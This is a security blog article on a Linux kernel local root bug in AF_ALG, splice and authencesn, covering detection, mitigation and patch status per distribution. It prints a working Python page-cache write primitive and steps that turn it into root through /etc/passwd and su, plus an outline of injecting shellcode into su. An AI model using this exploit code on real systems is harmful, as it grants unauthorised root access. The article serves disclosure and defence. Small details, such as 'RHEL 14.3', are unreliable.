> ## Content Index
> Fetch the complete content index at: https://sudosecurity.org/llms.txt
> Use this file to discover other available public pages before exploring further.

# CVE-2026-31431 "Copy Fail": How a 9-Year-Old Linux Kernel Bug Gives Any Local User Root in 732 Bytes
- URL: https://sudosecurity.org/cve-2026-31431-copy-fail-linux-kernel-privilege-escalation/
- Published: 2026-04-30T22:54:03.000Z
- Updated: 2026-07-17T10:32:55.000Z
- Description: CVE-2026-31431 chains AF_ALG, splice(), and authencesn's ESN scratch write into a deterministic 4-byte page cache write that gives an unprivileged local user root. Full technical breakdown, exploit mechanics, detection, mitigation, and patch status per distro.
- Author: Traven
- Tags: Cybersecurity, Vulnerabilities, Privilege Escalation, CVE, Linux, Linux Kernel

Disclosed on April 29, 2026 by the Xint Code research team, CVE-2026-31431 is the kind of vulnerability that makes seasoned kernel developers stop and stare. It's not a race condition you have to win. It's not a heap spray that crashes the system on a bad attempt. It's a straight-line logic flaw -- a deterministic, controlled 4-byte write into the page cache of any file readable by an unprivileged user. A 732-byte Python script using nothing but the standard library takes a system from a normal user account to a root shell. No compilation required. No distro-specific offsets. No timing windows.

The researcher who found it, Theori's Taeyang Lee, fed a single line of context to an AI-assisted scanning tool: "splice() can deliver page-cache references of read-only files to crypto TX scatterlists." The scan ran for an hour. Copy Fail was the highest severity output.

The vulnerability has been silently present in Linux kernels since 2017\. All four major enterprise distributions confirmed vulnerable: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 (and 14.3), and SUSE 16\. The underlying primitive is broader than local privilege escalation -- Part 2 of the original disclosure, which we're watching closely, covers the Kubernetes container escape path.

If you run Linux and haven't patched yet, the mitigation section of this article is two commands. The rest is for understanding what happened, why it happened, and why it went undetected for nine years.

We've been covering the wave of AI-assisted kernel vulnerability discovery at CoderOasis. [Claude Mythos finding 271 zero-days in Firefox 150](https://sudosecurity.org/claude-mythos-firefox-150-271-zero-days-project-glasswing/) and the [broader pattern of AI security research tooling](https://sudosecurity.org/claude-mythos-sandbox-escape-zero-day-cybersecurity-2026/) are directly related context here -- Copy Fail was found by the same class of tooling. The [CVE-2026-33032 nginx-ui vulnerability](https://sudosecurity.org/cve-2026-33032-nginx-ui-mcp-authentication-bypass/) we covered last week is a different attack surface but represents the same threat model: a single logic error that hands an attacker complete control.

## What Is CVE-2026-31431 and Why Is It Serious?

Three numbers first.

**Affected kernels:** All kernels carrying commit `72548b093ee3` without the upstream revert. That commit landed in 2017\. Nine years of production kernels, across every architecture, vulnerable.

**Exploit complexity:** A single Python script. 732 bytes in the original PoC. No compiled payload. No external dependencies. Python 3.10+ for `os.splice()`, which shipped in 2021\. Any Python installation on a modern Linux system qualifies.

**Privilege requirement:** Any unprivileged local user with a 4-digit UID (1000-9999 -- the standard range for regular user accounts). No special group membership. No `sudo`. No service account. A normal desktop or server login.

The specific primitive the bug provides: a **deterministic, controlled 4-byte write into the kernel's page cache of any file readable by the current user**. The on-disk file is never touched. The kernel's writeback machinery never marks the corrupted page dirty. On-disk file integrity checkers -- anything that checksums files on disk -- will see nothing wrong. The corruption lives entirely in RAM, shared with every process on the system.

This last property is why the impact goes beyond privilege escalation. Every process that reads the target file goes through the page cache. Corrupt `/etc/passwd`'s page cache copy and every tool that calls `getpwnam()` sees the corrupted version. Corrupt a shared library's page cache pages and every process that loads that library maps the modified code. The page cache is also shared across container boundaries on the same host -- there is no container namespace for the page cache. A containerized process exploiting this bug can write into the page cache of binaries on the host or in other containers.

The original PoC in the GitHub repository uses the `/etc/passwd` path: corrupt the current user's UID field in the page cache to `0000`, then call `su` with your own password. PAM validates against `/etc/shadow` (untouched), calls `setuid(getpwnam(user).pw_uid)`, gets 0, and drops a root shell. The `su` binary's code is never modified. Only the name-to-UID mapping in the page cache is wrong.

## What Kernel Subsystems Are Involved?

Understanding the vulnerability requires understanding three Linux kernel subsystems and how they interact. Each is reasonable in isolation. The bug exists at their intersection.

### What Is AF\_ALG and Who Can Use It?

`AF_ALG` (Address Family ALG, `AF_ALG = 38`) is a socket interface that exposes the Linux kernel's cryptographic subsystem to userspace. It was added in kernel 2.6.38 (2011). Any unprivileged process can open an `AF_ALG` socket:

```c
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);

```

No capabilities required. No special permissions. You get a file descriptor into the kernel's crypto API. From there, you can bind to any registered cryptographic algorithm by name:

```c
struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
};
bind(sock, (struct sockaddr *)&sa, sizeof(sa));

```

Once bound, the typical usage is: `setsockopt()` to set the key, `accept()` to get a request socket, `sendmsg()` to send data for encryption or decryption, and `recv()` to get the result.

The `algif_aead.c` driver handles the AEAD (Authenticated Encryption with Associated Data) variant. AEAD algorithms encrypt data and authenticate it simultaneously. The `authencesn(hmac(sha256),cbc(aes))` template authenticates with HMAC-SHA256 and encrypts with AES-CBC -- this is what IPsec ESP uses with Extended Sequence Numbers.

### What Is the Linux Page Cache and Why Does It Matter?

When the kernel reads a file, it doesn't read it fresh from disk every time. It reads the file's data into memory pages and keeps those pages in the page cache. Subsequent reads of the same file come from the page cache -- fast, in RAM. Writes go to the page cache first (marked dirty), and the kernel's writeback thread later flushes them to disk.

Critically: every process on the system shares the same page cache. When two processes read the same file, they're reading from the same physical RAM pages. When you `mmap()` a file, you're mapping its page cache pages directly into your virtual address space. When `execve()` loads a binary, it maps the binary's page cache pages into the new process's address space. The page cache is the kernel's authoritative in-memory view of all file data.

Container namespaces isolate filesystem views (via mount namespaces) and process views (via PID namespaces) and network views, but the page cache is not namespaced. Two containers on the same host reading the same file share the same page cache pages. An attacker who can corrupt the page cache corrupts the file as seen by every process on the entire system, in every container, immediately.

### What Is splice() and How Does It Pass Page Cache Pages?

`splice()` is a Linux system call that moves data between file descriptors and pipes without copying the data into userspace. Crucially, when you splice from a file into a pipe, the kernel doesn't copy the file data. It passes **references to the file's page cache pages** to the pipe.

```c
// Source file descriptor: target_fd
// Write end of pipe: pipe_wr
ssize_t n = splice(target_fd, &off, pipe_wr, NULL, 32, 0);

```

After this call, the pipe contains page descriptors pointing at the file's actual page cache pages. No data was copied. The page cache pages are now reachable through the pipe.

When you then splice from the pipe into an `AF_ALG` socket:

```c
splice(pipe_rd, NULL, alg_fd, NULL, 32, 0);

```

The kernel builds a scatterlist for the crypto operation that contains direct references to those page cache pages. The crypto algorithm will operate on the same physical pages that back the file. If the algorithm writes to its output scatterlist and the output scatterlist contains those pages, the kernel writes into the file's page cache.

This is the mechanism. Now look at the specific code path that activates it.

### What Is authencesn and What Does It Do to Its Output Buffer?

`authencesn` is an AEAD template in the kernel's crypto subsystem, added in 2011 for IPsec Extended Sequence Number support (RFC 4303). IPsec ESP uses 64-bit sequence numbers to protect against replay attacks. The 64-bit sequence number is split into a high word (`seqno_hi`, 32 bits) and a low word (`seqno_lo`, 32 bits). Only `seqno_lo` goes on the wire; `seqno_hi` is tracked implicitly.

For the HMAC computation, `authencesn` needs both halves in a specific order: `seqno_hi` first, then the protected data, then `seqno_lo` at the end. But the AAD delivered in the `sendmsg()` call contains `seqno_lo` at bytes 4-7, and `seqno_hi` at bytes 0-3\. So `authencesn` needs to rearrange them before computing the HMAC.

It does this rearrangement by using the **destination scatterlist as scratch space**. In `crypto_authenc_esn_decrypt()`:

```c
// Read bytes 0-7 of AAD from destination SGL (saved to tmp[0] and tmp[1])
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
 
// Overwrite bytes 4-7 of destination SGL with seqno_hi (tmp[0])
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
 
// Write seqno_lo (tmp[1]) PAST the authentication tag -- at offset assoclen + cryptlen
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

```

That third call is the vulnerability trigger. It writes 4 bytes at `dst + assoclen + cryptlen`. In the AEAD output format, `assoclen + cryptlen` is **past the end of the legitimate output area** \-- it's beyond the authentication tag. `authencesn` is writing into memory it does not own, using the caller's output buffer as a scratch pad.

After the HMAC computation, `crypto_authenc_esn_decrypt_tail()` reads `seqno_lo` back from that position to reconstruct the original AAD. But it never writes the original bytes back. Whatever was at `dst + assoclen + cryptlen` before the operation is now permanently overwritten with `seqno_lo` \-- the 4-byte value from bytes 4-7 of the attacker-supplied AAD.

No other standard AEAD algorithm in the Linux kernel does this. GCM, CCM, and standard `authenc` all confine their output writes to the legitimate output area. `authencesn` alone writes past the boundary. Nobody noticed because for nine years, the callers that mattered kept page cache pages out of the writable output scatterlist.

## How Did Three Separate Commits Create This Bug?

The vulnerability is not the result of a single mistake. Three separate, individually reasonable changes combined to create the exploitable condition. Each one passed review. Each one had legitimate technical motivation.

### Commit 1: authencesn Is Added (2011)

Commit `a5079d084f8b` adds `authencesn` to the kernel for IPsec ESN support. From the start, the code uses the caller's destination buffer as scratch space for ESN byte rearrangement. At the time, the only callers were internal kernel IPsec code in the `xfrm` layer. The "caller" controlled the output buffer and knew what they were putting in it. The scratch write was a private implementation detail of an internal subsystem.

The implicit assumption: whoever provides the destination scatterlist understands that `authencesn` will write past the output area. This assumption is never documented in any comment or kernel API description.

### Commit 2: algif\_aead Gains AEAD Support (2015)

Commit `104880a6b470` converts `authencesn` to the new AEAD interface. In the same year, `algif_aead.c` is added -- the driver that exposes AEAD algorithms through `AF_ALG` sockets to unprivileged userspace.

At this point, `algif_aead` uses **out-of-place operation**: `req->src` and `req->dst` are separate scatterlists. Input data (including any page cache pages from `splice()`) goes into `req->src`. Output data goes into `req->dst`, which is the user's `recvmsg()` buffer. `authencesn`'s scratch write at `dst + assoclen + cryptlen` goes into the user's buffer, not the page cache pages. Still not exploitable.

### Commit 3: The In-Place Optimization (2017)

Commit `72548b093ee3` optimizes `algif_aead.c` to perform AEAD operations in-place. The motivation: for decryption, the AAD and ciphertext need to be in the destination scatterlist anyway, so why not set `req->src = req->dst` and avoid redundant copies?

The implementation copies AAD and ciphertext bytes from the TX SGL into the RX buffer using `memcpy_sglist`. This is a real data copy -- page cache pages are read, not referenced. But then comes the problem: the authentication tag, the last `authsize` bytes of the input scatterlist, is not copied. Instead, the kernel **chains the tag pages by reference** using `sg_chain()`:

```c
// The output scatterlist ends with a chain into the TX SGL's tag pages
sg_chain(areq->first_rsgl.sgl.sgt.sgl, ..., tsgl_src);

```

After this operation:

```
Output SGL:  [ AAD || CT in RX buffer ] -> sg_chain -> [ Tag in page cache pages ]
                                                            ^
                                                     These are still page cache pages!
                                                     They are now in req->dst.

```

Then: `req->src = req->dst`. Both point to this combined chain.

When `authencesn` performs its scratch write at `dst + assoclen + cryptlen`, `scatterwalk_map_and_copy` walks the output scatterlist past the RX buffer into the chained page cache pages. It calls `kmap_local_page()` on the page cache page, gets a writable kernel virtual address, and writes the 4-byte `seqno_lo` value directly into the kernel's cached copy of the target file.

Nobody connected the dots. The 2017 optimizer did not know about `authencesn`'s scratch write. The `authencesn` developer did not anticipate that the AEAD interface would ever chain page cache pages into the destination scatterlist. The result is a write primitive that bypasses the VFS write path, bypasses file permissions, bypasses the kernel's dirty-page tracking, and bypasses `inotify` watchers. The write is invisible to every file integrity tool that operates on disk.

## How Does the Exploit Work Step by Step?

The PoC in the GitHub repository uses the `/etc/passwd` path. The disclosure writeup describes the more powerful `/usr/bin/su` code injection path. We'll walk through both.

### The write4 Primitive

The entire exploit rests on a single Python function: `write4(target_path, file_offset, four_bytes)`.

```python
def write4(target_path: str, file_offset: int, four_bytes: bytes) -> None:
    # Open the target file to populate its page cache
    fd_target = os.open(target_path, os.O_RDONLY)
 
    # Read a page to ensure it's in cache
    os.read(fd_target, 4096)
 
    # Set up AF_ALG socket with authencesn
    master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
    master.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    master.setsockopt(SOL_ALG, ALG_SET_KEY,
                      authenc_keyblob(b"\x00" * 32, b"\x00" * 16))
    op, _ = master.accept()
 
    # Construct the AAD: SPI (4 bytes) || seqno_lo (the 4 bytes we want to write)
    aad = b"\x00" * 4 + four_bytes   # bytes 4-7 of AAD = seqno_lo = our payload
 
    # Set up decryption parameters
    cmsg = [
        (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
        (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16),
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)),  # assoclen = 8
    ]
    op.sendmsg([aad], cmsg, socket.MSG_MORE)
 
    # Splice the target file into the operation: pipe the page cache pages
    pr, pw = os.pipe()
    os.splice(fd_target, pw, 32, offset_src=file_offset)  # file page -> pipe
    os.splice(pr, op.fileno(), 32)                         # pipe -> AF_ALG socket
 
    # Trigger decryption -- EBADMSG because HMAC fails, but the scratch write
    # into the page cache has already happened unconditionally
    try:
        op.recv(64)
    except OSError as e:
        if e.errno not in (errno.EBADMSG, errno.EINVAL):
            raise

```

Walk through each syscall:

`**sendmsg([aad], cmsg, MSG_MORE)**` \-- delivers the AAD to the operation. Bytes 4-7 of `aad` are `four_bytes`, the 4-byte value we want to write. `MSG_MORE` tells the kernel more data is coming. The ciphertext and tag haven't arrived yet.

`**splice(fd_target, pw, 32, offset_src=file_offset)**` \-- splices 32 bytes of the target file at `file_offset` into the write end of the pipe. No data is copied. The pipe now holds page descriptors pointing at the target file's page cache pages.

`**splice(pr, op.fileno(), 32)**` \-- moves those page descriptors from the pipe into the `AF_ALG` socket's TX SGL. The kernel's crypto framework now has a scatterlist containing direct references to the target file's page cache pages.

`**recv(64)**` \-- triggers the actual decryption operation. The kernel's `algif_aead` driver:

1. Copies AAD and ciphertext bytes from the TX SGL into the RX buffer
2. Chains the tag pages by reference from the TX SGL into the RX SGL using `sg_chain()`
3. Sets `req->src = req->dst`
4. Calls the `authencesn` decrypt function  
Inside `authencesn`:
5. Reads `seqno_hi` and `seqno_lo` from bytes 0-7 of the destination SGL
6. Writes `seqno_hi` to bytes 4-7 of the destination SGL (scratch)
7. **Writes `seqno_lo` to `dst + assoclen + cryptlen`** \-- this is the 4-byte controlled write into the page cache
8. Computes HMAC over the modified AAD (with garbage key) -- fails
9. Returns `EBADMSG` to the caller  
The `EBADMSG` error is expected and caught. The scratch write at step 3 fires regardless of whether authentication succeeds. The page cache page has been modified. The on-disk file has not been touched.

### The /etc/passwd Path to Root

The GitHub PoC uses `/etc/passwd` because it's world-readable, single-file, and consulted by PAM for every `su` invocation. The exploit:

1. Parses `/etc/passwd` to find the running user's UID field byte offset

```python
def find_uid_field(path, username):
    with open(path, "rb") as f:
        data = f.read()
    needle = username.encode() + b":"
    # Find the line, count colons to reach the UID field
    # Format: username:password:UID:GID:...
    uid_off = # offset of the 4-character UID string
    uid_str = # the UID as a string (e.g. "1000")
    return uid_off, uid_str

```

1. Calls `write4("/etc/passwd", uid_off, b"0000")` to replace the user's UID with `0000` in the page cache
2. Verifies the write landed:

```python
with open("/etc/passwd", "rb") as f:
    f.seek(uid_off)
    landed = f.read(4)
assert landed == b"0000"   # Page cache, not disk

```

1. Confirms `getpwnam()` now reports UID 0:

```python
pwent = pwd.getpwnam(user)
assert pwent.pw_uid == 0   # libc reads from page cache via the kernel

```

1. Executes `su <user>`:

```
$ su youruser
Password: [enter your own password]
# whoami
root

```

PAM validates the password against `/etc/shadow` \-- untouched, your real password works. PAM then calls `setuid(getpwnam(user).pw_uid)`. `getpwnam()` reads from the page cache, sees UID 0, and `setuid(0)` succeeds. Root shell.

The on-disk `/etc/passwd` never changes. After the exploit, running `cat /etc/passwd | grep youruser` from the root shell shows UID 0 only because the page cache is still corrupted. Rebooting clears it. Running `echo 3 > /proc/sys/vm/drop_caches` from root clears it immediately.

For non-`--shell` dry runs, the PoC evicts the corrupted page itself using `POSIX_FADV_DONTNEED`:

```python
fd = os.open("/etc/passwd", os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)

```

This request drops the page from cache without requiring privileges -- any process can advise the kernel that it no longer needs a file's cached pages.

### The /usr/bin/su Code Injection Path

The disclosure writeup describes a more powerful variant that injects shellcode into `/usr/bin/su` rather than manipulating `/etc/passwd`. This path does not require the UID to be 4 digits. It operates on any setuid binary.

The approach:

1. Identify a target shellcode injection point in `/usr/bin/su`'s `.text` section -- a location that will execute before the binary's privilege-checking code and where 4 bytes of crafted machine code will pass control to a shellcode stub
2. Call `write4("/usr/bin/su", target_offset, shellcode_chunk)` repeatedly, 4 bytes at a time, to write the shellcode payload into `/usr/bin/su`'s page cache
3. `execve("/usr/bin/su")` \-- the kernel loads the binary from the page cache, which now contains injected shellcode in the `.text` section. Because `/usr/bin/su` is setuid root, the shellcode runs as UID 0  
The offset arithmetic requires knowing the structure of the `/usr/bin/su` binary for the specific distro and architecture. This is why the `/etc/passwd` path is simpler and more portable – it requires only string parsing of a text file, no binary offset knowledge.

## How Do You Detect Whether Your System Is Vulnerable?

The detection script in the repository is safe to run: it creates a sentinel file in a temp directory, attempts the scratch write against that sentinel, and checks whether the write landed. It never touches system binaries or `/etc/passwd`.

```bash
# Clone the repository
git clone https://github.com/rootsecdev/cve_2026_31431
cd cve_2026_31431
 
# Run the detector -- no root required
python3 test_cve_2026_31431.py

```

**Exit codes:**

| Exit Code                | Meaning                                                                 |
| ------------------------ | ----------------------------------------------------------------------- |
| 0 (Precondition not met) | AF\_ALG unavailable or authencesn not registered. Safe.                 |
| 0 (Page cache intact)    | Write did not land. Kernel is patched. Safe.                            |
| 2 (VULNERABLE)           | Marker PWND found in spliced page. Exploit primitive confirmed working. |
| 2 (Page cache MODIFIED)  | Page was written but marker position unexpected. Treat as vulnerable.   |
| 1                        | Test error. Check the error message.                                    |

The detection script works by writing the 4-byte marker `PWND` into a temp file's page cache using the exact `write4` primitive, then re-reading the temp file and checking whether the marker appears. Exit 0 with `Precondition not met` is what you want on a system where you've applied the module blacklist mitigation -- it means `AF_ALG` or `authencesn` is unreachable, so the exploit path is blocked regardless of kernel version.

**Manual kernel version check:**

```bash
uname -r

```

Compare against your distro's advisory. If your kernel predates the fix commit (`a664bf3d603d`) backport for your distro, you are vulnerable unless you've applied the module blacklist mitigation.

**Check whether the algif\_aead module is loaded:**

```bash
lsmod | grep algif_aead

```

If this returns output, the module is currently loaded and the system may be exploitable right now. If it returns nothing, the module is not loaded -- but it could be loaded on demand by an unprivileged user on an unpatched kernel unless the blacklist is in place.

**Check whether AF\_ALG is accessible:**

```python
import socket
try:
    s = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    s.close()
    print("AF_ALG is accessible - check for authencesn availability")
except PermissionError:
    print("AF_ALG blocked at socket level")
except OSError as e:
    print(f"AF_ALG unavailable: {e}")

```

On a vulnerable unpatched system, this will succeed. On a system with the module blacklisted and evicted, it will succeed at the socket level but `bind()` to `authencesn` will fail.

## How Do You Mitigate This Immediately Without a Kernel Patch?

The mitigation is module blacklisting. `algif_aead` is a loadable kernel module. Blacklisting it prevents unprivileged users from instantiating `authencesn(hmac(sha256),cbc(aes))` and blocks the entire exploit path.

### Immediate Mitigation (Two Commands)

```bash
# Block future loading
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
 
# Evict the currently loaded module (if loaded)
sudo rmmod algif_aead 2>/dev/null
 
echo "Mitigation applied."

```

Verify:

```bash
python3 test_cve_2026_31431.py
# Expected: "Precondition not met" -- exit 0

```

The `install algif_aead /bin/false` directive in `modprobe.conf` tells `modprobe` to run `/bin/false` instead of loading the module when anything requests it. This works at both the kernel level (kernel module autoload requests) and at the userspace level (explicit `modprobe algif_aead`). An unprivileged user calling `socket(AF_ALG, ...)` followed by `bind()` to an `authencesn` name will receive `ENODEV` or `ENOENT` from the bind call.

The `rmmod algif_aead` evicts the module if it's currently resident. If the module isn't loaded, this command fails silently (the `2>/dev/null` suppresses the error).

**This mitigation persists across reboots** via the `modprobe.d` configuration file. Rebooting without removing that file keeps the module blacklisted.

### Impact of the Mitigation

Blacklisting `algif_aead` removes `AF_ALG` AEAD support from the system. Assess whether any application on your system uses it before applying.

**Most systems:** No impact. `algif_aead` is used by applications that explicitly want kernel AEAD crypto via the userspace API rather than using a library like OpenSSL. Most applications use OpenSSL, GnuTLS, or NSS directly and never touch `AF_ALG`. The module may not even be loaded.

**Potential impact areas:**

- Applications explicitly using `AF_ALG` for hardware-accelerated crypto (some VPN daemons, some specialized networking tools)
- Containers that require AEAD operations through the AF\_ALG interface
- Some hardware security modules or crypto accelerator drivers that expose through `algif_aead`  
Check whether `algif_aead` is in use before applying:

```bash
# Check if any process has the module open
lsof 2>/dev/null | grep algif_aead
 
# Check system logs for recent algif_aead activity
journalctl --since "24 hours ago" | grep -i "algif_aead\|aead"
 
# Check if module is loaded at all
lsmod | grep algif_aead

```

If the module isn't loaded and hasn't been loaded recently, the blacklist has zero operational impact.

### Workaround via seccomp (Container Environments)

For container deployments where the module blacklist would affect multiple tenants, an alternative is blocking `AF_ALG` socket creation via seccomp:

```json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCMP_CMP_EQ"
        }
      ],
      "errnoRet": 1
    }
  ]
}

```

This blocks `socket(AF_ALG, ...)` calls at the seccomp layer, preventing access to the AF\_ALG interface entirely for the container without affecting the host. Docker and Kubernetes both support custom seccomp profiles.

For Kubernetes, apply this as a pod-level annotation:

```yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    seccomp.security.alpha.kubernetes.io/pod: localhost/disable-af-alg.json
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: disable-af-alg.json

```

Note: seccomp profiles affect only the container, not the host kernel. For the container escape path (Part 2 of the disclosure), you also need to block the module at the host level.

## What Is the Upstream Kernel Patch and What Did It Change?

The upstream fix landed in commit `a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5` on April 1, 2026 -- roughly four weeks before public disclosure, following the coordinated disclosure timeline.

The fix is a revert of the 2017 in-place optimization. It returns `algif_aead` to out-of-place operation. The `Fixes:` tag in the commit points to `72548b093ee3`, confirming that the in-place optimization is the root cause.

The core change, simplified:

```c
// BEFORE (vulnerable -- in-place, req->src == req->dst)
aead_request_set_crypt(
    &areq->cra_u.aead_req,
    areq->first_rsgl.sgl.sgt.sgl,    // RX SGL as source
    areq->first_rsgl.sgl.sgt.sgl,    // RX SGL as destination (same)
    used,
    ctx->iv
);
 
// AFTER (fixed -- out-of-place, req->src != req->dst)
aead_request_set_crypt(
    &areq->cra_u.aead_req,
    tsgl_src,                          // TX SGL as source (may contain page cache pages)
    areq->first_rsgl.sgl.sgt.sgl,    // RX SGL as destination (user's recvmsg buffer)
    used,
    ctx->iv
);

```

After the fix, `req->src` points to the TX SGL (which may include page cache pages from `splice()`). `req->dst` points to the RX SGL (the user's `recvmsg()` buffer). The AAD is copied from source to destination as before. The tag pages from the TX SGL are no longer chained into the destination scatterlist using `sg_chain()` \-- they remain in the source scatterlist, where they are read-only.

When `authencesn` performs its scratch write at `dst + assoclen + cryptlen`, `scatterwalk_map_and_copy` now walks the RX SGL -- the user's buffer -- not the page cache pages. The 4-byte write lands in the user's own memory. The page cache is never touched.

The commit message puts it plainly: "There is no benefit in operating in-place in algif\_aead since the source and destination come from different mappings."

The performance motivation for the 2017 optimization was never measured against a real workload. The "optimization" added significant complexity and created a nine-year exploitable condition for a performance improvement that existed only on paper.

## Which Distributions Are Patched and How Do You Update?

This section is accurate as of the public disclosure date (April 29, 2026). Distribution advisories may have moved faster since. Always check your distro's security tracker for the current status.

### Ubuntu 24.04 LTS

**Confirmed vulnerable.** Tested kernel: `6.17.0-1007-aws`.

Ubuntu's USN (Ubuntu Security Notice) process typically produces kernel updates within days of an upstream fix landing. Check for the USN covering CVE-2026-31431:

```bash
# Update package lists
sudo apt update
 
# Check available kernel updates
apt list --upgradable 2>/dev/null | grep linux-image
 
# Apply kernel update
sudo apt upgrade linux-image-$(uname -r)
 
# Or upgrade all packages
sudo apt upgrade
 
# Reboot to apply the new kernel
sudo reboot

```

After reboot:

```bash
uname -r    # Verify the new kernel version
python3 test_cve_2026_31431.py    # Verify fix: should see "Page cache intact"

```

For Ubuntu specifically, check the [Ubuntu Security Notices](https://ubuntu.com/security/notices?ref=sudosecurity.org) page for the USN covering this CVE. The USN will list the specific kernel version that includes the fix for each Ubuntu release.

**Ubuntu 20.04 LTS (Focal) and 22.04 LTS (Jammy):** The disclosure confirms that kernels carrying `72548b093ee3` without the upstream revert are affected. Both of these releases ship kernels that include the 2017 commit. Check for kernel updates on these releases as well.

### Amazon Linux 2023

**Confirmed vulnerable.** Tested kernel: `6.18.8-9.213.amzn2023`.

```bash
# Check for kernel updates
sudo dnf check-update kernel
 
# Apply kernel update
sudo dnf update kernel
 
# Reboot
sudo reboot
 
# Verify
uname -r
python3 test_cve_2026_31431.py

```

Amazon Linux publishes security advisories at [https://alas.aws.amazon.com](https://alas.aws.amazon.com/?ref=sudosecurity.org). Search for ALAS-2026 advisories referencing CVE-2026-31431\. Given the CVSS severity and that this affects Amazon Linux 2023 directly, expect an ALAS advisory within a day or two of disclosure.

**Amazon Linux 2:** The AL2 kernel lineage is older and follows different backport timelines. Check the ALAS tracker for AL2 advisories separately.

### Red Hat Enterprise Linux (RHEL)

**Confirmed vulnerable.** The disclosure references RHEL 14.3\. The CVE tracker entry covers RHEL 10.1 explicitly.

```bash
# RHEL 10 / Rocky Linux 10 / AlmaLinux 10
sudo dnf update kernel
 
# RHEL 9 / Rocky Linux 9 / AlmaLinux 9 (check if affected)
sudo dnf update kernel
 
sudo reboot

```

Red Hat publishes CVE advisories at [https://access.redhat.com/security/cve/CVE-2026-31431](https://access.redhat.com/security/cve/CVE-2026-31431?ref=sudosecurity.org). The Red Hat advisory will list affected RHEL versions, the fixed package version, and errata identifiers.

**Rocky Linux and AlmaLinux:** Both distributions follow Red Hat's advisories closely and typically ship kernel updates within hours to days of RHEL's release. Check Rocky's [errata tracker](https://errata.rockylinux.org/?ref=sudosecurity.org) and AlmaLinux's [errata](https://errata.almalinux.org/?ref=sudosecurity.org).

**CentOS Stream:** CentOS Stream 10 follows RHEL 10's kernel closely. Apply available kernel updates via `dnf update kernel`.

### SUSE Linux Enterprise / openSUSE

**Confirmed vulnerable.** Tested kernel: `6.12.0-160000.9-default` (SUSE 16).

```bash
# SUSE Linux Enterprise 16 / openSUSE Leap 16
sudo zypper refresh
sudo zypper update -t patch
 
# Or specifically update the kernel
sudo zypper update kernel-default
 
sudo reboot

```

SUSE publishes security advisories (SUSE-SU) at [https://www.suse.com/support/update/](https://www.suse.com/support/update/?ref=sudosecurity.org). Search for advisories referencing CVE-2026-31431\. For openSUSE Tumbleweed, rolling release updates typically include upstream kernel patches rapidly; check `zypper list-updates` and apply the current kernel.

### Debian

Debian's security tracker at [https://security-tracker.debian.org/tracker/CVE-2026-31431](https://security-tracker.debian.org/tracker/CVE-2026-31431?ref=sudosecurity.org) will show the fix status per release. Apply available updates:

```bash
sudo apt update
sudo apt upgrade linux-image-amd64    # or linux-image-generic
sudo reboot

```

Debian stable (Bookworm, currently 12.x) backports security-critical kernel patches. Check the tracker for the fixed DSA (Debian Security Advisory).

### Arch Linux

Arch's rolling release model means the upstream kernel patch lands quickly. Check the current kernel version:

```bash
sudo pacman -Sy linux linux-headers
sudo reboot

```

After any kernel update past the fix date (upstream commit April 1, 2026), you should be patched. Verify with `uname -r` and the detection script.

### Fedora

Fedora ships recent kernels and typically carries upstream security fixes rapidly. Check for updates:

```bash
sudo dnf update kernel
sudo reboot

```

Fedora's security advisories are at [https://bodhi.fedoraproject.org](https://bodhi.fedoraproject.org/?ref=sudosecurity.org). Search for CVE-2026-31431.

### Distribution Status Summary

| Distribution      | Status                                             | Update Command            |
| ----------------- | -------------------------------------------------- | ------------------------- |
| Ubuntu 24.04 LTS  | **Vulnerable -- patch expected/check USN**         | apt update && apt upgrade |
| Ubuntu 22.04 LTS  | **Likely vulnerable -- check USN**                 | apt update && apt upgrade |
| Amazon Linux 2023 | **Vulnerable -- patch expected/check ALAS**        | dnf update kernel         |
| RHEL 10.1         | **Vulnerable -- patch expected/check RH advisory** | dnf update kernel         |
| SUSE 16           | **Vulnerable -- patch expected/check SUSE-SU**     | zypper update             |
| Arch Linux        | **Check kernel version vs. upstream fix date**     | pacman -Syu               |
| Fedora            | **Check kernel version vs. upstream fix date**     | dnf update kernel         |
| Debian Bookworm   | **Check DSA tracker**                              | apt update && apt upgrade |

**Apply the module blacklist mitigation now.** Do not wait for the kernel package to arrive in your distro's repository. The mitigation requires no reboot, takes 10 seconds to apply, and blocks the exploit path immediately:

```bash
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
python3 test_cve_2026_31431.py    # Verify: should see "Precondition not met"

```

Remove the blacklist after confirming the kernel patch is applied and the detection script returns exit 0 with "Page cache intact":

```bash
sudo rm /etc/modprobe.d/disable-algif-aead.conf
python3 test_cve_2026_31431.py    # Should now say "Page cache intact" (fixed kernel)

```

## Why Did This Bug Survive Undetected for Nine Years?

This is the interesting question, and the answer reveals a structural problem in how the Linux kernel security surface is analyzed.

The bug requires three components interacting simultaneously:

1. `authencesn`'s undocumented scratch write past the output boundary (2011)
2. `AF_ALG`'s splice path delivering page cache pages as input (2015)
3. `algif_aead`'s in-place operation chaining page cache pages into the output scatterlist (2017)  
